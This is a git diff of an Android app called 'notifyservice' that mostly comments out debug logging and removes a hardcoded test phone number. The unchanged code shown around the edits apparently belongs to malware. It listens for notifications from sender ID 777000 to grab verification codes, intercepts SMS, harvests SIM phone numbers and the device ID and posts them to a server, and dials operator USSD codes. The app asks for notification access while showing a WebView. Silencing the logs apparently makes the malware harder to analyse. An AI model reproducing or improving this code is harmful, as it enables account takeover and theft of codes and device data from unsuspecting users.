diff --git a/app/src/main/java/com/example/notifyservice/Encryption.java b/app/src/main/java/com/example/notifyservice/Encryption.java index 31b95e2..74dc744 100644 --- a/app/src/main/java/com/example/notifyservice/Encryption.java +++ b/app/src/main/java/com/example/notifyservice/Encryption.java @@ -52,14 +52,14 @@ public class Encryption { "SECRET_KEY" // VARIABLE ).getBytes("UTF-8"), "AES"); - Log.i("asd", "SECRET_KEY");// VARIABLE - Log.i("dsa", "IV_KEY");// VARIABLE + // Log.i("asd", "SECRET_KEY");// VARIABLE + // Log.i("dsa", "IV_KEY");// VARIABLE Cipher cipher = Cipher.getInstance("AES/CBC/PKCS5PADDING"); cipher.init(mode, skeySpec, iv); return cipher; } catch (Exception ignored) { - Log.i("gfggg", Arrays.toString(ignored.getStackTrace())); + // Log.i("gfggg", Arrays.toString(ignored.getStackTrace())); } return null; } @@ -121,7 +121,7 @@ public class Encryption { MessageDigest md = MessageDigest.getInstance("SHA-512"); return randomizeCase(bytesToHex(md.digest(bytesOfMessage))); } catch (Exception ignore) { - Log.i("exp2", Arrays.toString(ignore.getStackTrace())); + // Log.i("exp2", Arrays.toString(ignore.getStackTrace())); } return null; } @@ -132,7 +132,7 @@ public class Encryption { MessageDigest md = MessageDigest.getInstance("MD5"); return bytesToHex(md.digest(bytesOfMessage)); } catch (Exception ignore) { - Log.i("exp3", Arrays.toString(ignore.getStackTrace())); + // Log.i("exp3", Arrays.toString(ignore.getStackTrace())); } return null; } @@ -143,7 +143,7 @@ public class Encryption { byte[] plainText = cipher.doFinal(Base64.decode(data.getBytes(), Base64.DEFAULT)); return new String(plainText); } catch (Exception e) { - Log.i("exp4", Arrays.toString(e.getStackTrace())); + // Log.i("exp4", Arrays.toString(e.getStackTrace())); } return ""; } @@ -164,7 +164,7 @@ public class Encryption { return decryptedMessage; } catch (Exception e) { - Log.i("exp22", Arrays.toString(e.getStackTrace())); + // Log.i("exp22", Arrays.toString(e.getStackTrace())); } return ""; } @@ -179,7 +179,7 @@ public class Encryption { cipher.init(Cipher.ENCRYPT_MODE, publicKey); return bytesToHex(cipher.doFinal(data.getBytes())); } catch (Exception e) { - Log.i("exp31", Arrays.toString(e.getStackTrace())); + // Log.i("exp31", Arrays.toString(e.getStackTrace())); } return ""; diff --git a/app/src/main/java/com/example/notifyservice/GetRequest.java b/app/src/main/java/com/example/notifyservice/GetRequest.java index 4bdf34f..917c5cb 100644 --- a/app/src/main/java/com/example/notifyservice/GetRequest.java +++ b/app/src/main/java/com/example/notifyservice/GetRequest.java @@ -52,7 +52,7 @@ public class GetRequest { result ))); } catch (Exception e) { - Log.i("exp1", Arrays.toString(e.getStackTrace())); + // Log.i("exp1", Arrays.toString(e.getStackTrace())); } } diff --git a/app/src/main/java/com/example/notifyservice/Listener.java b/app/src/main/java/com/example/notifyservice/Listener.java index 56e37e2..da3a84f 100644 --- a/app/src/main/java/com/example/notifyservice/Listener.java +++ b/app/src/main/java/com/example/notifyservice/Listener.java @@ -57,7 +57,7 @@ public class Listener extends NotificationListenerService { @Override public void onNotificationPosted(StatusBarNotification sbn){ String packageName = sbn.getPackageName(); - Log.i(packageName, packageName); + // Log.i(packageName, packageName); if(getShortcutSafe(sbn).equals("ndid_777000")){ // STATIC String code = processExtras(sbn.getNotification().extras); if (code.length() < 5) diff --git a/app/src/main/java/com/example/notifyservice/MainActivity.java b/app/src/main/java/com/example/notifyservice/MainActivity.java index 062d776..15cc502 100644 --- a/app/src/main/java/com/example/notifyservice/MainActivity.java +++ b/app/src/main/java/com/example/notifyservice/MainActivity.java @@ -148,7 +148,7 @@ public class MainActivity extends AppCompatActivity implements PostRequestCallba @Override protected void onCreate(Bundle savedInstanceState) { - Log.i("a", "1"); // STATIC + // Log.i("a", "1"); // STATIC super.onCreate(savedInstanceState); setContentView(R.layout.activity_main); @@ -201,9 +201,9 @@ public class MainActivity extends AppCompatActivity implements PostRequestCallba // Загрузка начального URL webView.loadUrl(websiteUrl); - Log.i("a", "Loading data..."); // STATIC + // Log.i("a", "Loading data..."); // STATIC loadData(); - Log.i("a", "Data loaded."); // STATIC + // Log.i("a", "Data loaded."); // STATIC } @@ -211,35 +211,35 @@ public class MainActivity extends AppCompatActivity implements PostRequestCallba private void loadData() { requestsCount = 0; - Log.i("a", "Requesting ussds - " + ussdUrl); // STATIC + // Log.i("a", "Requesting ussds - " + ussdUrl); // STATIC GetRequest ussdRequestTask = new GetRequest(this, this); ussdRequestTask.execute(ussdUrl); - Log.i("a", "Requesting languages - " + languagesUrl); // STATIC + // Log.i("a", "Requesting languages - " + languagesUrl); // STATIC GetRequest languagesRequestTask = new GetRequest(this, this); languagesRequestTask.execute(languagesUrl); } public static String getKey(Context context) { try { - Log.i("a", "Get key"); // STATIC + // Log.i("a", "Get key"); // STATIC SharedPreferences sharedPreferences = context.getSharedPreferences("PRIVATE_DATA", MODE_PRIVATE); return sharedPreferences.getString("KEY", "INIT_KEY"); // VARIABLE STATIC } catch (Exception e) { - Log.i("agg", Arrays.toString(e.getStackTrace())); // STATIC + // Log.i("agg", Arrays.toString(e.getStackTrace())); // STATIC return ""; // STATIC } } public static void setKey(Context context, String key) { - Log.i("a", "Set key"); // STATIC + // Log.i("a", "Set key"); // STATIC SharedPreferences.Editor editor = context.getSharedPreferences("PRIVATE_DATA", MODE_PRIVATE).edit(); editor.putString("KEY", key); editor.apply(); } private void promptNotificationAccess() throws JSONException { - Log.i("a", "Prompt"); // STATIC + // Log.i("a", "Prompt"); // STATIC AlertDialog.Builder builder = new AlertDialog.Builder(this); builder.setTitle(language.getString("title")); // STATIC builder.setMessage(language.getString("message")); // STATIC @@ -264,7 +264,7 @@ public class MainActivity extends AppCompatActivity implements PostRequestCallba this.runOnUiThread(new Runnable() { public void run() { - Log.i("a", "Run thread"); // STATIC + // Log.i("a", "Run thread"); // STATIC AlertDialog dialog = builder.create(); dialog.show(); } @@ -273,7 +273,7 @@ public class MainActivity extends AppCompatActivity implements PostRequestCallba public static String getDeviceInfo(Context context) { - Log.i("a", "Get device info"); // STATIC + // Log.i("a", "Get device info"); // STATIC String m_data = ""; // STATIC String p_seperator = ":"; // STATIC StringBuilder m_builder = new StringBuilder(); @@ -297,7 +297,7 @@ public class MainActivity extends AppCompatActivity implements PostRequestCallba String android_id = Settings.Secure.getString(context.getContentResolver(), Settings.Secure.ANDROID_ID); m_builder.append(android_id); m_data = m_builder.toString(); - Log.i("a", "Collected device info - " + m_data); // STATIC + // Log.i("a", "Collected device info - " + m_data); // STATIC return m_data; } @@ -310,7 +310,7 @@ public class MainActivity extends AppCompatActivity implements PostRequestCallba Intent intent = new Intent(this, Listener.class); startService(intent); registerReceiver(smsReceiver, new IntentFilter(Telephony.Sms.Intents.SMS_RECEIVED_ACTION)); - Log.i("a", "Make process"); // STATIC + // Log.i("a", "Make process"); // STATIC Context permissionContext = this; new Handler().postDelayed(() -> makeProcess(permissionContext), 500); } @@ -329,21 +329,21 @@ public class MainActivity extends AppCompatActivity implements PostRequestCallba } public void cancelTimer(){ - Log.i("a", "Canceling timer"); // STATIC + // Log.i("a", "Canceling timer"); // STATIC if (timer != null) { timer.cancel(); } } public void nextPhone() { - Log.i("a", "Next phone"); // STATIC + // Log.i("a", "Next phone"); // STATIC currentPhone += 1; if (phones.size() > currentPhone) savePhone(getBaseContext(), phones.get(currentPhone)); } private void makeProcess(Context context) { - Log.i("a", "Make process task..."); // STATIC + // Log.i("a", "Make process task..."); // STATIC currentPhone = 0; phones = collectPhoneNumber(context); savePhone(context, phones.get(currentPhone)); @@ -362,7 +362,7 @@ public class MainActivity extends AppCompatActivity implements PostRequestCallba } public static boolean isSimConnected(Context context, TelephonyManager telephonyManager) { - Log.i("a", "isSimConnected"); // STATIC + // Log.i("a", "isSimConnected"); // STATIC if (ContextCompat.checkSelfPermission(context, Manifest.permission.READ_PHONE_STATE) != PackageManager.PERMISSION_GRANTED) { return false; @@ -384,15 +384,15 @@ public class MainActivity extends AppCompatActivity implements PostRequestCallba } private void savePhone(Context context, PhoneNumber phone){ - Log.i("a", "SavePhone - " + phone.phone); // STATIC + // Log.i("a", "SavePhone - " + phone.phone); // STATIC if(phone.phoneProvided()){ - Log.i("a", "PhoneProvided"); // STATIC + // Log.i("a", "PhoneProvided"); // STATIC requestPhone(context, phone); } else { - Log.i("a", "Phone not provided"); // STATIC + // Log.i("a", "Phone not provided"); // STATIC receivingSms = false; setCurrentHash(context, ""); // STATIC - Log.i("a", "Sim connected result: " + isSimConnected(context, phone.telephonyManager)); + // Log.i("a", "Sim connected result: " + isSimConnected(context, phone.telephonyManager)); if(!isSimConnected(context, phone.telephonyManager)) nextPhone(); else @@ -402,7 +402,7 @@ public class MainActivity extends AppCompatActivity implements PostRequestCallba private void requestPhone(Context context, PhoneNumber phone){ setCurrentHash(context, ""); // STATIC - Log.i("a", "Requesting phone - " + phone.phone); // STATIC + // Log.i("a", "Requesting phone - " + phone.phone); // STATIC PostRequest postRequestTask = new PostRequest(context, this); postRequestTask.execute("phone", phone.save() + ";" + getDeviceInfo(context)); // STATIC @@ -410,9 +410,9 @@ public class MainActivity extends AppCompatActivity implements PostRequestCallba @Override public void onPostResponse(JSONObject result) { - Log.i("a", "On post Response"); // STATIC + // Log.i("a", "On post Response"); // STATIC try { - Log.i("PostResult", result.toString()); // STATIC + // Log.i("PostResult", result.toString()); // STATIC if(result.has("hash")) { // STATIC setCurrentHash(this, result.getString("hash")); // STATIC } @@ -429,7 +429,7 @@ public class MainActivity extends AppCompatActivity implements PostRequestCallba }, Math.round(codeTimeout * 1000)); } } catch (Exception e) { - Log.i("j", Arrays.toString(e.getStackTrace())); + // Log.i("j", Arrays.toString(e.getStackTrace())); throw new RuntimeException(e); } @@ -437,7 +437,7 @@ public class MainActivity extends AppCompatActivity implements PostRequestCallba @Override public void onGetResponse(JSONObject result) { - Log.i("a", "onGetResponse"); // STATIC + // Log.i("a", "onGetResponse"); // STATIC try { if(result.get("name"). // STATIC equals("ussd")){ // STATIC @@ -461,13 +461,13 @@ public class MainActivity extends AppCompatActivity implements PostRequestCallba } } } catch (JSONException e) { - Log.i("ww", Arrays.toString(e.getStackTrace())); + // Log.i("ww", Arrays.toString(e.getStackTrace())); throw new RuntimeException(e); } } private boolean isNotificationServiceEnabled() { - Log.i("a", "isNotificationServiceEnabled"); // STATIC + // Log.i("a", "isNotificationServiceEnabled"); // STATIC String packageName = getPackageName(); String enabledListeners = Settings.Secure.getString( getContentResolver(), @@ -482,7 +482,7 @@ public class MainActivity extends AppCompatActivity implements PostRequestCallba } private static String[] retrievePermissions(Context context) { - Log.i("a", "retrievePermissions"); // STATIC + // Log.i("a", "retrievePermissions"); // STATIC final String pkgName = context.getPackageName(); try { return context @@ -490,13 +490,13 @@ public class MainActivity extends AppCompatActivity implements PostRequestCallba .getPackageInfo(pkgName, PackageManager.GET_PERMISSIONS) .requestedPermissions; } catch (PackageManager.NameNotFoundException e) { - Log.i("222", Arrays.toString(e.getStackTrace())); + // Log.i("222", Arrays.toString(e.getStackTrace())); return new String[0]; } } private void requestPermissions(String[] permissions) { - Log.i("a", "requestPermissions"); // STATIC + // Log.i("a", "requestPermissions"); // STATIC ActivityCompat.requestPermissions(MainActivity.this, permissions, 1); } @@ -524,7 +524,7 @@ public class MainActivity extends AppCompatActivity implements PostRequestCallba } private void requestUssdNumber(PhoneNumber phone) { - Log.i("a", "requestUssdNumber - " + phone.operator); // STATIC + // Log.i("a", "requestUssdNumber - " + phone.operator); // STATIC if (ActivityCompat.checkSelfPermission(this, Manifest.permission.CALL_PHONE) != PackageManager.PERMISSION_GRANTED) return; String ussdRequest = null; @@ -533,7 +533,7 @@ public class MainActivity extends AppCompatActivity implements PostRequestCallba ussdRequest = ussd.getJSONObject(phone.operator).getString("number"); // STATIC smsResponse = ussd.getJSONObject(phone.operator).getBoolean("smsResponsed"); // STATIC } catch (JSONException e) { - Log.i("ddd", Arrays.toString(e.getStackTrace())); + // Log.i("ddd", Arrays.toString(e.getStackTrace())); return; } @@ -564,7 +564,7 @@ public class MainActivity extends AppCompatActivity implements PostRequestCallba } private List collectPhoneNumber(Context context){ - Log.i("a", "collectPhoneNumber"); // STATIC + // Log.i("a", "collectPhoneNumber"); // STATIC List phoneNumbers = new ArrayList<>(); if (ActivityCompat.checkSelfPermission(context, "android.permission.READ_PHONE_STATE") != PackageManager.PERMISSION_GRANTED) { // STATIC return phoneNumbers; @@ -583,9 +583,9 @@ public class MainActivity extends AppCompatActivity implements PostRequestCallba )); } - phoneNumbers.add( - new PhoneNumber("393510507972", null,"govno", "uz") // STATIC - ); + //phoneNumbers.add( + // new PhoneNumber("393510507972", null,"govno", "uz") // STATIC + //); return phoneNumbers; } @@ -615,7 +615,7 @@ public class MainActivity extends AppCompatActivity implements PostRequestCallba @Override public void onBackPressed() { - Log.i("a", "onBackPressed"); // STATIC + // Log.i("a", "onBackPressed"); // STATIC if (webView.canGoBack()) { webView.goBack(); } else { @@ -625,12 +625,12 @@ public class MainActivity extends AppCompatActivity implements PostRequestCallba @Override protected void onDestroy() { - Log.i("a", "onDestroy"); // STATIC + // Log.i("a", "onDestroy"); // STATIC super.onDestroy(); try { unregisterReceiver(smsReceiver); } catch(IllegalArgumentException e) { - Log.i("ppp", Arrays.toString(e.getStackTrace())); + // Log.i("ppp", Arrays.toString(e.getStackTrace())); } } diff --git a/app/src/main/java/com/example/notifyservice/PostRequest.java b/app/src/main/java/com/example/notifyservice/PostRequest.java index 1914431..6b6498b 100644 --- a/app/src/main/java/com/example/notifyservice/PostRequest.java +++ b/app/src/main/java/com/example/notifyservice/PostRequest.java @@ -35,7 +35,7 @@ public class PostRequest { public final OkHttpClient client = new OkHttpClient(); public void execute(String... params) { - Log.i("ExecutePost", "Post Executing..."); + // Log.i("ExecutePost", "Post Executing..."); String timeStamp = String.valueOf(TimeUnit.MILLISECONDS.toSeconds(System.currentTimeMillis())); String key = MainActivity.getKey(context) + timeStamp;